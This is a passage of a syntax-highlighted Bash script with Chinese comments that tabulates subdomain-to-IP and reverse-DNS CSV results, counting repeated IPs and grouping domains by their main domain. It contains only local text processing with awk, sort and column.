&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 64&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="o"&gt;((&lt;/span&gt; &lt;span class="nv"&gt;j&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="p"&gt;;&lt;/span&gt; j&amp;lt;columns&lt;span class="p"&gt;;&lt;/span&gt; j++ &lt;span class="o"&gt;))&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 65&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;idx&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt; i &lt;span class="o"&gt;+&lt;/span&gt; j &lt;span class="o"&gt;*&lt;/span&gt; rows &lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 66&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;((&lt;/span&gt; idx &amp;lt; count &lt;span class="o"&gt;))&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 67&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;domain&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;DOMAIN_ARRAY&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;$idx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; xargs&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 68&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;%-*s&amp;#34;&lt;/span&gt; &lt;span class="k"&gt;$((&lt;/span&gt;max_length &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$domain&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 69&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 70&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 71&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 72&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 73&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 74&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 75&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 76&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 处理子域名文件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 77&lt;/span&gt;&lt;span class="cl"&gt;process_subdomain&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 78&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;local&lt;/span&gt; &lt;span class="nv"&gt;file&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 79&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 80&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 按IP排序&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 81&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; -e &lt;span class="s2"&gt;&amp;#34;\n\033[1;34m按IP地址排序:\033[0m&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 82&lt;/span&gt;&lt;span class="cl"&gt; awk -F, &lt;span class="s1"&gt;&amp;#39;NR&amp;gt;1&amp;#39;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; sort -t, -k2 &lt;span class="p"&gt;|&lt;/span&gt; column -t -s, -N &lt;span class="s2"&gt;&amp;#34;子域名,IP地址&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 83&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 84&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# IP重复统计&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 85&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; -e &lt;span class="s2"&gt;&amp;#34;\n\033[1;34mIP地址重复统计:\033[0m&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 86&lt;/span&gt;&lt;span class="cl"&gt; awk -F, &lt;span class="s1"&gt;&amp;#39;NR&amp;gt;1 {ip_count[$2]++} END {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 87&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; for (ip in ip_count) {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 88&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; printf &amp;#34;%d\t%s\n&amp;#34;, ip_count[ip], ip
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 89&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 90&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; }&amp;#39;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; sort -nr &lt;span class="p"&gt;|&lt;/span&gt; column -t -N &lt;span class="s2"&gt;&amp;#34;重复次数,IP地址&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 91&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 92&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 重复最多的IP&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 93&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; -e &lt;span class="s2"&gt;&amp;#34;\n\033[1;34m重复最多的IP地址:\033[0m&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 94&lt;/span&gt;&lt;span class="cl"&gt; awk -F, &lt;span class="s1"&gt;&amp;#39;NR&amp;gt;1 {ip_count[$2]++} END {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 95&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; max_count = 0
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 96&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; for (ip in ip_count) {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 97&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; if (ip_count[ip] &amp;gt; max_count) {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 98&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; max_count = ip_count[ip]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 99&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; max_ip = ip
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;100&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;101&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;102&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; printf &amp;#34;IP地址: %s\n重复次数: %d\n&amp;#34;, max_ip, max_count
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;103&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; }&amp;#39;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;104&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;105&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;106&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 处理反向DNS文件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;107&lt;/span&gt;&lt;span class="cl"&gt;process_reverse&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;108&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;local&lt;/span&gt; &lt;span class="nv"&gt;file&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;109&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;110&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 主域名统计&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;111&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; -e &lt;span class="s2"&gt;&amp;#34;\n\033[1;34m主域名出现统计:\033[0m&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;112&lt;/span&gt;&lt;span class="cl"&gt; awk -F, &lt;span class="s1"&gt;&amp;#39;NR&amp;gt;1 &amp;amp;&amp;amp; $2 != &amp;#34;&amp;#34; {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;113&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; # 提取主域名
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;114&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; n = split($2, parts, &amp;#34;.&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;115&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; if (n &amp;gt; 1) {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;116&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; main_domain = parts[n-1] &amp;#34;.&amp;#34; parts[n]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;117&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; domain_count[main_domain]++
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;118&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;119&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; } END {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;120&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; for (d in domain_count) {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;121&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; printf &amp;#34;%d\t%s\n&amp;#34;, domain_count[d], d
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;122&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;123&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; }&amp;#39;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; sort -nr &lt;span class="p"&gt;|&lt;/span&gt; column -t -N &lt;span class="s2"&gt;&amp;#34;出现次数,主域名&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;124&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;125&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 重复最多的主域名&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;126&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; -e &lt;span class="s2"&gt;&amp;#34;\n\033[1;34m重复最多的主域名:\033[0m&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;127&lt;/span&gt;&lt;span class="cl"&gt; awk -F, &lt;span class="s1"&gt;&amp;#39;NR&amp;gt;1 &amp;amp;&amp;amp; $2 != &amp;#34;&amp;#34; {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;128&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; n = split($2, parts, &amp;#34;.&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;129&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; if (n &amp;gt; 1) {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;130&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; main_domain = parts[n-1] &amp;#34;.&amp;#34; parts[n]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;131&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; domain_count[main_domain]++
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;132&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;133&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; } END {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;134&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; max_count = 0
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;135&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; for (d in domain_count) {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;136&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; if (domain_count[d] &amp;gt; max_count) {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;137&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; max_count = domain_count[d]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;138&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; max_domain = d
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;139&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;140&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;141&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; printf &amp;#34;主域名: %s\n出现次数: %d\n&amp;#34;, max_domain, max_count
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;142&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; }&amp;#39;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;143&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;144&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 主域名关联的完整域名（美观格式）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;145&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; -e &lt;span class="s2"&gt;&amp;#34;\n\033[1;34m主域名关联的完整域名:\033[0m&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;146&lt;/span&gt;&lt;span class="cl"&gt; awk -F, &lt;span class="s1"&gt;&amp;#39;BEGIN {print &amp;#34;开始收集域名...&amp;#34;} 
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;147&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; NR&amp;gt;1 &amp;amp;&amp;amp; $2 != &amp;#34;&amp;#34; {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;148&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; n = split($2, parts, &amp;#34;.&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;149&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; if (n &amp;gt; 1) {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;150&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; main_domain = parts[n-1] &amp;#34;.&amp;#34; parts[n]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;151&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; if (!(main_domain in domain_list)) {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;152&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; domain_list[main_domain] = $2
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;153&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; } else {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;154&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; domain_list[main_domain] = domain_list[main_domain] &amp;#34;,&amp;#34; $2
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;155&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;156&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; # print &amp;#34;收集: &amp;#34; $2 &amp;#34; -&amp;gt; &amp;#34; main_domain
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;157&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;158&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; } END {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;159&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; print &amp;#34;收集完成，开始输出...&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;160&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; for (d in domain_list) {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;161&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; printf &amp;#34;%s:%s\n&amp;#34;, d, domain_list[d]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;162&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;163&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; }&amp;#39;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &amp;gt; /tmp/domain_groups.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;164&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;165&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="nv"&gt;IFS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;: &lt;span class="nb"&gt;read&lt;/span&gt; -r domain_group domains&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;166&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; -e &lt;span class="s2"&gt;&amp;#34;\033[1;32m&lt;/span&gt;&lt;span class="nv"&gt;$domain_group&lt;/span&gt;&lt;span class="s2"&gt;:\033[0m&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;167&lt;/span&gt;&lt;span class="cl"&gt; pretty_print_domains &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$domains&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;168&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;done&lt;/span&gt; &amp;lt; /tmp/domain_groups.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;169&lt;/span&gt;&lt;span class="cl"&gt; rm -f /tmp/domain_groups.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;170&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;171&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;172&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 根据文件类型执行相应处理&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;173&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$FILE_TYPE&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; in
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;174&lt;/span&gt;&lt;span class="cl"&gt; subdomain&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;175&lt;/span&gt;&lt;span class="cl"&gt; process_subdomain &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$INPUT_FILE&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
